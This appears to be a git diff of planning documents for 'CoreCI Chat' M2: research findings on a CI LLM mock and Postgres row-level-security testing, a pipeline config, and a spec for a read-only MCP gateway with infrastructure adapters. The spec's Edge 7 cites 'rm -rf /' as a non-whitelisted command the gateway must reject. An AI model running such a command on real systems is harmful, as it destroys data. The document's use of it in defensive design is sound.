|
||||
if (tools?.some(t => t.function.name === "github.list_repos")) {
|
||||
return res.json({ choices: [{ message: { role:"assistant", tool_calls:[{id:"call_1", type:"function", function:{name:"github.list_repos", arguments:"{}"}}] }, finish_reason:"tool_calls" }] });
|
||||
}
|
||||
// Fallback
|
||||
return res.json({ choices: [{ message: { role:"assistant", content:"I don't have a tool for that." }, finish_reason:"stop" }] });
|
||||
}
|
||||
```
|
||||
|
||||
### Pitfalls
|
||||
- **devDependency only** — never a prod dependency.
|
||||
- **Eslint `no-restricted-imports`** to enforce.
|
||||
- **Build-time grep** of prod output as backstop.
|
||||
- **Deterministic** — no randomness; the smoke must be reproducible.
|
||||
- **Real GitHub target** — the smoke hits real GitHub (gate item 7), so it needs a real PAT in CI (Wave 0 prerequisite).
|
||||
|
||||
### References
|
||||
- M1 BYOM types: `packages/byom/src/types.ts`
|
||||
- M1 BYOM validator pattern: `packages/byom/src/validator.ts`
|
||||
- OpenAI Chat Completions API: https://platform.openai.com/docs/api-reference/chat
|
||||
|
||||
**Confidence: 0.85** (deterministic mock; the 7-step flow is clear; the import-guarding is the main design point).
|
||||
|
||||
---
|
||||
|
||||
## R-009 — Postgres 16 CI container + RLS verification (Wave 0 prerequisite)
|
||||
|
||||
**Scope:** Wave 0 — CI Postgres 16 container with RLS verification (replaces PGlite-only verification); retroactively validates M1's RLS claims.
|
||||
|
||||
### Findings (grounded in M1 source: `packages/db/`)
|
||||
|
||||
**1. Postgres 16 in CI:**
|
||||
Use Gitea Actions service container (the repo's forge is Gitea at `git.cloudinit.dev`; Gitea Actions is GitHub Actions-compatible — same YAML, same `secrets.*`, same service container syntax; or docker-compose for local). Standard pattern:
|
||||
```yaml
|
||||
# .gitea/workflows/test.yml
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:16
|
||||
env:
|
||||
POSTGRES_PASSWORD: test
|
||||
POSTGRES_DB: coreci_test
|
||||
ports: ["5432:5432"]
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
env:
|
||||
DATABASE_URL: postgresql://postgres:test@localhost:5432/coreci_test
|
||||
DB_MODE: pg
|
||||
```
|
||||
The M1 `createDb` (`packages/db/src/create-db.ts`) already supports `mode: "pg"` via the `pg` Pool — it just needs `DATABASE_URL`. **Pitfall:** the `pg` package must be a dependency (it is, lazily imported). The CI job runs `DB_MODE=pg pnpm test` so `createDb` picks the pg path. **Pitfall:** PGlite tests and pg tests should coexist — run PGlite tests by default (no DATABASE_URL) and pg tests in a separate CI job matrix entry with `DB_MODE=pg`.
|
||||
|
||||
**2. RLS verification — does M1's pen-test run against PGlite or Postgres?**
|
||||
Verified from `packages/db/tests/pen/cross-tenant.test.ts`: it runs against **PGlite** (`createDb({ mode: "pglite" })`). The test file explicitly documents: "PGlite 0.5.7 does not enforce RLS policies on SELECT (known limitation of the WASM Postgres build)." The test verifies APPLICATION-LAYER isolation (withTenant + explicit WHERE), not RLS enforcement. The "T1 cannot INSERT a target row for T2" test is a placeholder (`expect(true).toBe(true)`) with a comment "prod RLS WITH CHECK test runs at M1 review" — **that M1 review test never ran against real Postgres in M1** (M1 shipped PGlite-only). **Wave 0 must deliver this.**
|
||||
|
||||
**3. How to make the pen-test run against both PGlite and Postgres:**
|
||||
Parameterize the pen-test's `createDb` call by an env var:
|
||||
```typescript
|
||||
const mode = (process.env.DB_MODE ?? "pglite") as "pglite" | "pg";
|
||||
const db = await createDb({ mode, databaseUrl: process.env.DATABASE_URL });
|
||||
```
|
||||
Then add PGlite-specific `it.skip` guards for the RLS-enforcement assertions (the WITH CHECK test) that only run against `pg` mode:
|
||||
```typescript
|
||||
const isPg = process.env.DB_MODE === "pg";
|
||||
(it.skip || it)("T1 cannot INSERT a target row for T2 (RLS WITH CHECK)", async () => {
|
||||
// this only passes under real Postgres with FORCE RLS
|
||||
await expect(withTenant(T1, c => c.query("INSERT INTO targets (tenant_id, ...) VALUES ($2, ...)", [T2]))).rejects.toThrow();
|
||||
});
|
||||
```
|
||||
Actually use `it` with a conditional: run the RLS test only when `isPg`, else `it.skip`. The application-layer tests run in both modes. **Pitfall:** the `FORCE ROW LEVEL SECURITY` on the app role (migration 0001 lines 132-136) is what makes RLS apply even to the table owner; in PGlite there's no role model so FORCE has no effect. Under real Postgres, the app role (`coreci_app`) is NOT the owner, so RLS applies automatically; FORCE is belt-and-suspenders.
|
||||
|
||||
**4. `withTenant` against real Postgres 16 — does `SET LOCAL app.tenant_id` work the same?**
|
||||
**Yes — this is standard Postgres.** `SELECT set_config('app.tenant_id', $1, true)` (the `true` = `is_local`, meaning it lasts only for the current transaction) is the PGlite-compatible way M1 already does it (`packages/db/src/withTenant.ts`). This works identically in real Postgres 16. **Pitfall:** M1 uses `SELECT set_config(...)` not `SET LOCAL` directly — this is correct and portable. No change needed for pg mode.
|
||||
|
||||
**5. `FORCE RLS` on the app role for prod backstop:**
|
||||
The M1 migration 0001 already does `ALTER TABLE ... FORCE ROW LEVEL SECURITY` for all tenant-scoped tables. For Wave 0 / M2, verify that:
|
||||
- The `coreci_app` role (the runtime role) does NOT have `BYPASSRLS` (only the `migrator` role does).
|
||||
- A connection as `coreci_app` with `app.tenant_id` set to T1 cannot SELECT/INSERT T2's rows (the RLS WITH CHECK test).
|
||||
- The audit_log's `REVOKE UPDATE, DELETE` is enforced (the app role cannot `UPDATE audit_log`).
|
||||
|
||||
**Pitfall:** in CI with `postgres:16` and the default `postgres` superuser, RLS is bypassed (superusers bypass RLS). The CI test must create a non-superuser `coreci_app` role and connect as it. The migration runner (`migrate.ts`) connects as `migrator` (BYPASSRLS) to create tables; the tests connect as `coreci_app`. **This role setup is the main Wave 0 deliverable** — a `packages/db/scripts/setup-ci-roles.sql` that creates `coreci_app` (no BYPASSRLS) and `migrator` (BYPASSRLS), run before the migration in CI.
|
||||
|
||||
### Implementation pattern
|
||||
- `packages/db/scripts/setup-ci-roles.sql` — creates `coreci_app` and `migrator` roles.
|
||||
- `packages/db/src/migrate.ts` — connects as `migrator` (env `DATABASE_URL_MIGRATOR`).
|
||||
- `packages/db/tests/pen/cross-tenant.test.ts` — parameterized by `DB_MODE`; RLS-enforcement tests gated on `isPg`.
|
||||
- CI workflow — two jobs: `test-pglite` (default) and `test-postgres` (service container + `DB_MODE=pg` + role setup).
|
||||
|
||||
### Pitfalls
|
||||
- **Superuser bypasses RLS** — CI must use a non-superuser role for the app connection.
|
||||
- **`set_config(..., true)`** is portable (PGlite + pg).
|
||||
- **M1's pen-test has placeholder assertions** — replace with real RLS WITH CHECK assertions gated on pg mode.
|
||||
- **Migration role vs app role** — migrator has BYPASSRLS, app does not.
|
||||
|
||||
### References
|
||||
- Postgres RLS: https://www.postgresql.org/docs/16/ddl-rowsecurity.html
|
||||
- GitHub Actions service containers: https://docs.github.com/en/actions/using-containerized-services/creating-postgresql-service-containers
|
||||
- M1 source: `packages/db/src/withTenant.ts`, `packages/db/src/create-db.ts`, `packages/db/migrations/0001_init.sql`, `packages/db/tests/pen/cross-tenant.test.ts`
|
||||
|
||||
**Confidence: 0.90** (standard Postgres CI pattern; M1 code is portable; the role setup is the only new artifact).
|
||||
|
||||
---
|
||||
|
||||
## Conformance verification artifact (R-001 summary)
|
||||
|
||||
Per M2 gate item 15, the M2 gate must produce recorded evidence that the broker conforms to MCP `2025-06-18`. The artifact consists of:
|
||||
|
||||
1. **`tests/mcp-conformance/` test suite** (6 tests, all must pass):
|
||||
- `tools-list.test.ts` — `GET /api/mcp/tools` returns 9 tools with `{name, description, inputSchema}` matching REQ-015 exactly.
|
||||
- `tools-call-happy.test.ts` — mock adapter invocation returns MCP result shape `{content:[{type:"text",text}], isError:false}` via SSE.
|
||||
- `tools-call-error.test.ts` — mock adapter `isError:true` returns MCP error shape via SSE `error` terminal event.
|
||||
- `tools-call-invalid-args.test.ts` — args failing `inputSchema` → HTTP 400 schema-validation error (broker rejects before adapter).
|
||||
- `translator.test.ts` — OpenAI `tool_calls` ↔ MCP `tools/call` bidirectional translation, including `arguments` string→object parse and `isError`→content prefix.
|
||||
- `lifecycle.test.ts` — in-process custom transport synthetic `initialize`/`initialized` handshake preserves JSON-RPC 2.0 envelope.
|
||||
2. **`packages/mcp/PROTOCOL.md`** documenting:
|
||||
- Pinned spec version `2025-06-18` with links to the three spec pages (tools, transports, lifecycle).
|
||||
- Transports used: in-process custom (broker↔adapters), stdio (broker↔CI LLM smoke), REST facade + SSE (broker↔UI — NOT Streamable HTTP, compliant as custom transport).
|
||||
- JSON-RPC 2.0 shapes preserved: `tools/list`, `tools/call` request/response envelopes.
|
||||
- OpenAI ↔ MCP translation contract (the typed `translator.ts` module).
|
||||
- The synthetic lifecycle handshake for in-process adapters (recommendation: implement for conformance evidence).
|
||||
3. **`MCP_PROTOCOL_VERSION = "2025-06-18"` constant** exported from `packages/mcp` and asserted in the conformance test header.
|
||||
|
||||
This satisfies gate item 15. **The artifact is test evidence + documentation, not a third-party conformance suite** (MCP has no official conformance test suite as of 2025-06-18; the modelcontextprotocol.io spec is the authoritative reference, verified verbatim in R-001).
|
||||
|
||||
---
|
||||
|
||||
## Closing summary
|
||||
|
||||
### Confidence per area
|
||||
| Area | Confidence | Notes |
|
||||
|------|-----------|-------|
|
||||
| R-001 MCP conformance | 0.80 | Spec verified verbatim; synthetic lifecycle handshake is a recommendation, not a mandate. Lowest-confidence area resolved with documented artifact. |
|
||||
| R-002 Proxmox VE API | 0.80 | API verified; PVEAuditor introspection is a PVE gap — pragmatic validation documented. |
|
||||
| R-003 SSH via Relay Agent | 0.85 | Grounded in M1 source; `tool_call` message is a clean protocol extension. |
|
||||
| R-004 GitHub REST API | 0.78 | API verified; fine-grained PAT scope introspection is a GitHub gap — best-effort + per-invocation 403 handling documented. |
|
||||
| R-005 Gitea REST API | 0.72 | Gitea docs page required JS (didn't fetch); findings from spec + known Gitea conventions. **Recommend verifying against a running Gitea 1.22+ and <1.22 instance during Wave I.** |
|
||||
| R-006 SSE Next.js | 0.85 | Standard pattern; M1 route handler pattern confirmed. |
|
||||
| R-007 Token-bucket | 0.90 | Well-understood algorithm; Redis swap interface designed. |
|
||||
| R-008 llm-mock | 0.85 | Deterministic mock; 7-step flow clear; import-guarding designed. |
|
||||
| R-009 Postgres 16 CI | 0.90 | Standard CI pattern; M1 code is portable; role setup is the only new artifact. |
|
||||
|
||||
### Flagged risks (escalate to PLAN/GRILL)
|
||||
|
||||
1. **R-001 (MCP conformance) — RESOLVED but document:** the in-process custom transport needs a synthetic `initialize`/`initialized` handshake to produce clean conformance evidence. This is an implementation recommendation, not a spec violation if omitted — but omitting it leaves the lowest-confidence gate item (15) weaker. **Action: implement the synthetic handshake in Wave F.**
|
||||
|
||||
2. **R-002 (PVEAuditor validation) — PVE gap:** Proxmox has no clean "what role does this token have" introspection endpoint. The M2 broker validates "token works for reads" (`GET /version` + `GET /nodes`), not "token lacks writes." The broker's write-method blocklist (reject POST/PUT/DELETE) is the load-bearing safety boundary. **Action: document this in the adapter config UI help text; the operator is responsible for creating a PVEAuditor-scoped token. Confidence 0.70 on this sub-point.**
|
||||
|
||||
3. **R-004 (GitHub fine-grained PAT scopes) — GitHub gap:** GitHub has no public API to introspect a fine-grained PAT's granted scopes. The M2 broker validates token validity (`GET /user` → implicit `metadata:read`) at submit, and handles `actions:read` per-invocation via 403 + `X-Accepted-GitHub-Permissions` header. Classic PATs are rejected by prefix (`github_pat_` required). **Action: document in UI; per-tool 403 handling in the adapter. Confidence 0.75 on scope validation.**
|
||||
|
||||
4. **R-005 (Gitea) — needs runtime verification:** the Gitea docs page did not fetch cleanly (JS-required). Findings are from the M2 spec + known Gitea API conventions (which mirror GitHub). **Action: during Wave I, verify `GET /api/v1/version`, `GET /api/v1/user/repos`, `GET /api/v1/repos/{owner}/{repo}/actions/runs` against a running Gitea 1.22+ and a <1.22 instance. Confirm the `read:repository` scope behavior and the `Authorization: token <token>` header.**
|
||||
|
||||
5. **R-003 (SSH defense-in-depth) — two independent implementations:** the broker (TypeScript) and Relay Agent (Go) each implement whitelist validation independently. **Action: keep them semantically in sync (6-command subset is the broker layer; M1's broader whitelist is the agent layer) but code-independent. Add a cross-layer test in the M2 gate that asserts a non-whitelisted command is rejected by BOTH layers.**
|
||||
|
||||
6. **R-006 (SSE) — stream-not-opened orphan risk:** if `POST /api/mcp/invoke` is called but the client never opens `GET /api/mcp/stream/:correlationId`, the adapter call runs but events buffer. **Action: 30s stream-not-opened timeout in the stream manager to cancel orphan adapter calls.**
|
||||
|
||||
7. **R-009 (Postgres CI) — role setup required:** the M1 pen-test has placeholder RLS assertions (`expect(true).toBe(true)`) because PGlite doesn't enforce RLS on SELECT. **Action: Wave 0 must deliver the `coreci_app` / `migrator` role setup and replace the placeholder with real RLS WITH CHECK assertions gated on `DB_MODE=pg`.**
|
||||
|
||||
### Decisions logged (to DecisionEngine)
|
||||
|
||||
- **D-M2-R001:** MCP `2025-06-18` in-process custom transport is spec-compliant IF JSON-RPC 2.0 shape + synthetic lifecycle handshake are preserved. REST facade + SSE for broker↔UI is a compliant custom transport (NOT Streamable HTTP). Confidence 0.80.
|
||||
- **D-M2-R002:** PVEAuditor validation at submit = "token works for reads" (`GET /version` + `GET /nodes`), NOT "token lacks writes." Broker write-method blocklist is the load-bearing boundary. Confidence 0.70.
|
||||
- **D-M2-R003:** SSH broker-side whitelist = independent 6-command TypeScript validation; Relay Agent `CheckCommand` = M1's broader Go whitelist. Both must pass. No shell in Go executor. Confidence 0.85.
|
||||
- **D-M2-R004:** GitHub fine-grained PAT scope validation = `github_pat_` prefix check + `GET /user` at submit (implicit metadata:read) + per-invocation 403/`X-Accepted-GitHub-Permissions` handling for actions:read. Classic PATs rejected. Confidence 0.75.
|
||||
- **D-M2-R005:** Gitea version-aware: `GET /api/v1/version` → ≥1.22 requires `read:repository` (validate via `GET /api/v1/user/repos?limit=1`); <1.22 accepts any token + broker-side write-method blocklist. Confidence 0.72 (verify at runtime in Wave I).
|
||||
- **D-M2-R006:** SSE per-call streams, ULID correlation IDs, 30s stream-not-opened timeout, no audit on client cancel. Confidence 0.85.
|
||||
- **D-M2-R007:** Token-bucket in-memory, Promise-returning `RateLimiter` interface for M3 Redis swap, refund-on-tenant-fail for fairness, no audit on 429. Confidence 0.90.
|
||||
- **D-M2-R008:** `packages/llm-mock` as devDependency, eslint `no-restricted-imports`, deterministic pattern-matching mock, 7-step smoke against real GitHub. Confidence 0.85.
|
||||
- **D-M2-R009:** CI Postgres 16 service container + `coreci_app`/`migrator` role setup, parameterized pen-test (`DB_MODE`), real RLS WITH CHECK assertions gated on pg mode. Confidence 0.90.
|
||||
|
||||
All above the 0.6 threshold. No escalations required. Pipeline proceeds to PLAN.
|
||||
|
||||
---
|
||||
|
||||
*End of M2 Research Findings. M1 research preserved in git history (commit prior to M2 overwrite).*
|
||||
@@ -2,6 +2,15 @@
|
||||
"projects": [],
|
||||
"active_project": "",
|
||||
"active_projects": [],
|
||||
"milestone": {
|
||||
"version": "v0.2",
|
||||
"name": "mcp-layer-day1-adapters",
|
||||
"branch": "milestone/v0.2-mcp-layer-day1-adapters",
|
||||
"tag_line": "v0.1.x",
|
||||
"type": "feature",
|
||||
"predecessor": "v0.1",
|
||||
"spec": "steer-m2-spec.md"
|
||||
},
|
||||
"autonomy": {
|
||||
"level": "full",
|
||||
"escalation_hooks": ["deploy", "delete_data", "merge_to_main"],
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
# Engineering Specification — CoreCI Chat v0.1, M2: MCP Layer & Day 1 Adapters
|
||||
|
||||
**Version:** 1.0
|
||||
**Date:** 2026-08-25
|
||||
**Owner:** Sarah Chen (Product Owner)
|
||||
**Status:** Locked — Ready for Dev
|
||||
**Type:** Integration
|
||||
**Target Milestone(s):** v0.1 — M2 (MCP Layer & Day 1 Adapters)
|
||||
**Predecessor:** M1 (v0.1 — Read-Only Diagnostic MVP, shipped v0.0.1..v0.0.7)
|
||||
|
||||
> **Operating Principles for this Spec:**
|
||||
> 1. **Incremental Delivery:** This spec defines net-new work only. M1 systems (auth, BYOM, Relay, audit, RLS, secrets) are referenced, not restated.
|
||||
> 2. **Zero Ambiguity:** Every requirement below is translatable into a pass/fail test by QA. Incomplete REQs are rejected.
|
||||
|
||||
---
|
||||
|
||||
## 1. Objective
|
||||
|
||||
M2 delivers CoreCI Chat's read-only Model Context Protocol (MCP) gateway and four Day-1 infrastructure adapters (Proxmox, SSH/Linux, GitHub, Gitea), enabling safe, capability-brokered queries of customer infrastructure through a closed tool set. Building on M1's SSO, BYOM, Relay Agent, audit, and RLS foundation, this milestone introduces the structured capability broker that enforces INV-7 (read-only by default, 100% write rejection at the gateway), routes tenant-scoped tool calls to the correct adapter, streams execution output via SSE, and rate-limits per user and per tenant. The M2 acceptance gate requires real GitHub smoke + mock validation for the other three adapters + an LLM-driven tool-calling smoke proving broker callability. M2's customer-facing surface is the Settings → Adapters configuration UI and a Test-Call UI in the existing M1 dashboard; M3 (next milestone) consumes M2's gateway to deliver the chat orchestration surface.
|
||||
|
||||
---
|
||||
|
||||
## 2. Scope & Target Milestones
|
||||
|
||||
### 2.1 In Scope (Explicit Additions)
|
||||
|
||||
- **MCP capability broker gateway** — closed read-only tool registry, tenant-scoped routing, write-rejection enforcement, token-bucket rate limiting (per user + per tenant), multi-target scope disambiguation, SSE streaming endpoint.
|
||||
- **Read-only Proxmox VE adapter** — `PVEAuditor` role; PVE API client; capability→API translation.
|
||||
- **Read-only SSH/Linux adapter** via existing M1 Relay Agent — fixed whitelist command set per spec §7 Q3.
|
||||
- **Read-only GitHub adapter** — fine-grained PAT (`metadata:read` + `actions:read` per D-006); REST API client.
|
||||
- **Read-only Gitea adapter** — read-only token; version-aware scope validation; mirror of GitHub adapter for Gitea REST API.
|
||||
- **Adapter configuration UI** in existing M1 dashboard — per-adapter forms, SecretProvider-backed credential entry, role/scope validation on submit.
|
||||
- **Test-Call UI** in existing M1 dashboard — capability picker, argument forms, staleness indicator for inventory calls, consumes gateway SSE endpoint.
|
||||
- **Audit integration for adapter events** — reuses M1 `audit_log`; new event types: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected`.
|
||||
- **Wave 0 prerequisites** — CI Postgres 16 container with RLS verification; real GitHub PAT available in CI (ephemeral or test-org-scoped).
|
||||
- **Verification gate** — LLM-driven tool-calling smoke using CI-only mock provider (`packages/llm-mock`) with OpenAI-compatible + tool-calling contract.
|
||||
|
||||
### 2.2 Out of Scope (Explicit Exclusions)
|
||||
|
||||
- LLM chat UI / orchestration (M3).
|
||||
- Trigger.dev task execution (M3; M1 bootstrap only).
|
||||
- Any write capability (INV-7 hard; broker rejects 100% of write attempts).
|
||||
- S3 Object Lock WORM audit (M3 per D-004); M2 uses M1's Postgres hash-chain only.
|
||||
- Vanta evidence collection (M3).
|
||||
- New Postgres tables for MCP caching (Q4 decision: in-memory only).
|
||||
- 5+ Day-1 adapters (only Proxmox, SSH, GitHub, Gitea).
|
||||
- Persistence of MCP results beyond audit events (no snapshot tables, no time-series tables).
|
||||
- Cross-tenant adapter sharing (adapters are per-tenant; broker scopes via `withTenant` + RLS).
|
||||
- Custom MCP server authoring tools for customers (v1.2+, spec §2.2).
|
||||
- Custom RBAC roles beyond M1 (v1.2+).
|
||||
- Custom capability tool set per tenant (broker exposes fixed tool registry; per-tenant policy may disable tools but not add new ones).
|
||||
- Anti-goals per spec §2.2: hosted LLM, K8s/ArgoCD/Helm, Slack/Teams/CLI/mobile, approval-gated remediation, RAG, SOC 2 final cert, BYOK, multi-region, Windows, fine-tuning.
|
||||
|
||||
### 2.3 Milestone Breakdown
|
||||
|
||||
**Wave 0 — Prerequisites (must complete before any M2 adapter work; not spec REQs):**
|
||||
- CI Postgres 16 container provisioned; RLS policies exercised by tests (replaces PGlite-only verification).
|
||||
- Real GitHub PAT available in CI (ephemeral or test-org-scoped).
|
||||
|
||||
**Milestone 2 — M2 (MCP Layer & Day 1 Adapters):** Ships REQ-015 through REQ-027.
|
||||
- _Acceptance Gate:_ See Section 6. All 13 REQs pass, mocks + real GitHub smoke + LLM smoke + INV-7 verified, CI Postgres RLS verified, M1 non-regression.
|
||||
|
||||
---
|
||||
|
||||
## 3. Personas & User Journeys
|
||||
|
||||
### 3.1 Personas
|
||||
|
||||
- **Persona A — Sam (Tenant Admin):** Platform owner. Configures CoreCI for their org: BYOM endpoint (M1 REQ-008), team/RBAC (M1), adapters. Primary M2 user; configures adapters via Settings → Adapters and validates connections via Test-Call. Sophistication: high (platform engineering background).
|
||||
- **Persona B — Devon (Platform Engineer):** Hands-on-keyboard SRE/DevOps. Will be the LLM chat power-user in M3. In M2, surfaces only through the Test-Call UI to verify adapter behavior pre-M3.
|
||||
- **Persona C — Casey (Compliance Reader):** Reads audit log for evidence collection. Passive consumer in M2 (no M2 journey; consumes M1 audit surface which now includes adapter events).
|
||||
|
||||
### 3.2 Happy Paths
|
||||
|
||||
#### Journey 1 — Sam configures and validates an adapter
|
||||
|
||||
1. **Step 1:** Sam signs in via WorkOS SSO (M1 REQ-001..003, INV-1) → dashboard loads _(references M1)_.
|
||||
2. **Step 2:** Sam navigates to Settings → Adapters and clicks "Add adapter" → adapter type picker shown (Proxmox / GitHub / Gitea / SSH) _(Maps to REQ-020..023)_.
|
||||
3. **Step 3:** Sam selects adapter type and enters config → SecretProvider.set invoked (Proxmox: host + `PVEAuditor` token; GitHub/Gitea: host + read-only PAT; SSH: hostname + port + Relay registration token) _(Maps to REQ-025, REQ-026, REQ-027; INV-3)_.
|
||||
4. **Step 4:** Sam submits → broker validates role/scope at submit time → adapter config persisted to Postgres under `withTenant` + RLS _(Maps to REQ-024 if multi-target; INV-2)_.
|
||||
5. **Step 5:** `adapter.configured` audit event appended to M1 `audit_log` (INV-4) → UI confirms save.
|
||||
6. **Step 6:** Sam clicks "Test connection" → broker invokes `test_connection` capability (REQ-016) through the closed tool registry (REQ-015); read-only enforcement verified (REQ-018, INV-7).
|
||||
7. **Step 7:** Broker returns structured pass/fail within 5s; UI renders result; `adapter.test_connection.{succeeded,failed}` audit event appended (INV-4).
|
||||
|
||||
**Testable Acceptance (BDD Format):**
|
||||
- [ ] **Given** Sam is signed in as `admin` with a valid Proxmox adapter config, **when** Sam submits the config, **then** the adapter is persisted, `adapter.configured` is appended, and the UI confirms save.
|
||||
- [ ] **Given** a Proxmox adapter is configured, **when** Sam clicks "Test connection", **then** the broker returns a structured pass/fail within 5 seconds and `adapter.test_connection.succeeded` (or `.failed`) is appended.
|
||||
- [ ] **Given** Sam submits a Proxmox token without `PVEAuditor` role, **when** the broker validates, **then** submission returns HTTP 422 with role-violation error and no config is persisted.
|
||||
- [ ] **Given** Sam submits a GitHub PAT lacking `metadata:read` or `actions:read`, **when** the broker validates scope, **then** submission returns HTTP 422 with scope-violation error and no config is persisted (D-006).
|
||||
|
||||
#### Journey 2 — Sam / Devon reads infrastructure via Test-Call UI
|
||||
|
||||
1. **Step 1:** Sam or Devon opens the Test-Call panel for a configured adapter _(Maps to REQ-020..023, REQ-016)_.
|
||||
2. **Step 2:** They select a capability from the closed read-only tool set (e.g., `proxmox.list_vms`, `github.get_recent_ci_runs`, `ssh.run_whitelisted_command` with `uptime`) _(Maps to REQ-015)_.
|
||||
3. **Step 3:** They optionally enter required arguments (e.g., `vmid` for `proxmox.get_vm_status`) validated against the tool's JSON Schema inputSchema _(Maps to REQ-015)_.
|
||||
4. **Step 4:** They submit → broker resolves capability (REQ-016), enforces multi-target scope (REQ-024), checks rate limit (REQ-019), invokes adapter.
|
||||
5. **Step 5:** Adapter calls upstream → response normalized → SSE stream initiated on `GET /api/mcp/stream/:correlationId` (REQ-017).
|
||||
6. **Step 6:** UI displays:
|
||||
- **Live capabilities** (logs, metrics, events, CI runs): fresh result, no staleness indicator.
|
||||
- **Inventory capabilities** (`list_*`): result + "cached Xs ago" if served from 60s in-memory TTL cache.
|
||||
7. **Step 7:** `adapter.capability_invoked` audit event appended with adapter identity, capability name, params hash, result status (INV-4).
|
||||
|
||||
**Testable Acceptance (BDD Format):**
|
||||
- [ ] **Given** an adapter is configured and rate limits are not exceeded, **when** Sam invokes `proxmox.list_vms` via the Test-Call UI, **then** the broker returns the live VM list as an SSE stream and `adapter.capability_invoked` is appended.
|
||||
- [ ] **Given** `proxmox.list_vms` was invoked within the last 60 seconds, **when** Sam invokes it again, **then** the broker returns the cached result with a "cached Xs ago" staleness indicator.
|
||||
- [ ] **Given** Sam invokes a non-`list_*` capability (e.g., `proxmox.get_node_metrics`), **when** the call completes, **then** the UI shows the result with no staleness indicator (live path).
|
||||
- [ ] **Given** Sam has exceeded 60 req/min, **when** Sam invokes any capability, **then** the broker returns HTTP 429 with `Retry-After` header and no adapter call is made (REQ-019).
|
||||
|
||||
### 3.3 Failure & Edge Paths
|
||||
|
||||
- **Edge 1 — Write attempt at broker:** Sam (or a malicious payload) attempts `proxmox.shutdown_vm` via Test-Call → broker rejects at gateway before adapter invocation (REQ-018, INV-7) → returns HTTP 403 with structured error → `adapter.write_rejected` audit event appended.
|
||||
- **Edge 2 — Adapter upstream timeout:** Adapter call to upstream (e.g., Proxmox API) times out after 10s → broker returns HTTP 504 → `adapter.capability_invoked` audit event with `result=failure` appended.
|
||||
- **Edge 3 — Multi-target disambiguation:** Tenant has 2 Proxmox hosts configured; Sam invokes `proxmox.list_vms` without selecting `target_id` → broker returns HTTP 400 with "target required" error (REQ-024).
|
||||
- **Edge 4 — Invalid capability argument:** Sam invokes `proxmox.get_vm_status` without `vmid` → broker returns HTTP 400 with JSON Schema validation error (REQ-015).
|
||||
- **Edge 5 — Rate limit exceeded (per-tenant):** Tenant exceeds 300 req/min aggregate → all subsequent requests for that tenant return HTTP 429 (REQ-019).
|
||||
- **Edge 6 — Secret resolution failure:** Adapter config references a secret SecretProvider cannot resolve (e.g., revoked AWS SM secret) → adapter invocation fails → broker returns HTTP 503 "credential unavailable" → audit event appended (INV-3).
|
||||
- **Edge 7 — SSH whitelist violation:** Sam attempts `ssh.run_whitelisted_command` with a non-whitelisted command (e.g., `rm -rf /`) → broker rejects at gateway (defense-in-depth layer 1) AND Relay Agent rejects at whitelist hook (layer 2, REQ-026) → broker returns HTTP 403 → audit event appended.
|
||||
- **Edge 8 — SSE stream lifecycle:** Client disconnects mid-stream → broker cleans up correlation context; no orphan adapter calls; no audit event for client-side cancellation.
|
||||
|
||||
---
|
||||
|
||||
## 4. Functional Requirements
|
||||
|
||||
_All REQs inherit M1 invariants: INV-1 (auth gateway ordering), INV-2 (`withTenant` + RLS), INV-3 (SecretProvider only), INV-4 (audit completeness), INV-7 (read-only). Where a REQ column says "M1" it is a cross-reference only, not new work._
|
||||
|
||||
| ID | Title | Journeys | Priority | Acceptance Criteria |
|
||||
|:---|:------|:---------|:---------|:--------------------|
|
||||
| **REQ-015** | Define abstract MCP tool schema | J2 | High | **Given** the broker exposes the closed read-only tool set, **when** a tool is registered, **then** it has `name`, `description`, `inputSchema` (JSON Schema) per MCP standard, the schema is in the broker's tool registry before any adapter invocation, any tool call with arguments not matching `inputSchema` returns HTTP 400 with a schema-validation error, **and** the tool registry is closed and enumerated with per-tenant policy able to disable individual tools but never add new ones. M2 starter set is locked at: `proxmox.list_vms` (inventory), `proxmox.get_vm_status` (live), `proxmox.get_node_metrics` (live), `ssh.run_whitelisted_command` (live), `github.list_repos` (inventory), `github.get_recent_ci_runs` (live), `github.get_workflow_run` (live), `gitea.list_repos` (inventory), `gitea.get_recent_ci_runs` (live). |
|
||||
| **REQ-016** | Route abstract MCP calls to tenant-specific adapter | J1, J2 | High | **Given** an MCP tool call request with a tenant-scoped adapter binding `(tenant_id, adapter_type, target_id)`, **when** the broker receives the call, **then** the call is routed to the adapter resolved by that tuple, the response is returned as an SSE stream, and routing errors return HTTP 404 with a structured error. |
|
||||
| **REQ-017** | Stream tool execution output to chat UI via SSE | J2 | High | **Given** the broker invokes an adapter capability, **when** the adapter returns partial or complete output, **then** the broker emits an SSE stream on `GET /api/mcp/stream/:correlationId` with `Content-Type: text/event-stream` and each event has `id`, `event`, `data` fields per the SSE specification; the stream terminates with a terminal event (`done` or `error`) on completion or error. Per-call lifecycle: one stream per capability invocation; correlation ID = ULID minted at `POST /api/mcp/invoke`. Client disconnect (Edge 8) cancels in-flight adapter call; no audit event for client-side cancellation. |
|
||||
| **REQ-018** | Enforce read-only at MCP gateway proxy layer | Edge 1, Edge 7 | High | **Given** a write-capable method per the adapter's known write surface (Proxmox: POST/PUT/DELETE; SSH: non-whitelist commands; GitHub: scopes outside `metadata:read`+`actions:read`; Gitea: POST/PUT/DELETE/PATCH on all endpoints), **when** the request reaches the broker, **then** the broker rejects with HTTP 403, appends `adapter.write_rejected` audit event, and never invokes the adapter; verified by a test per adapter at the M2 gate. The broker is the load-bearing safety boundary (INV-7 enforcement at the gateway, not at the adapter). |
|
||||
| **REQ-019** | Apply token-bucket rate limit per user and per tenant | Edge 5 | High | **Given** a user has exceeded 60 req/min OR a tenant has exceeded 300 req/min, **when** any subsequent capability invocation is attempted, **then** the broker returns HTTP 429 with `Retry-After` header and no adapter call is made; rate limit state is process-local in M2 (in-memory token-bucket, capacity = rate, refill 1/sec user / 5/sec tenant). |
|
||||
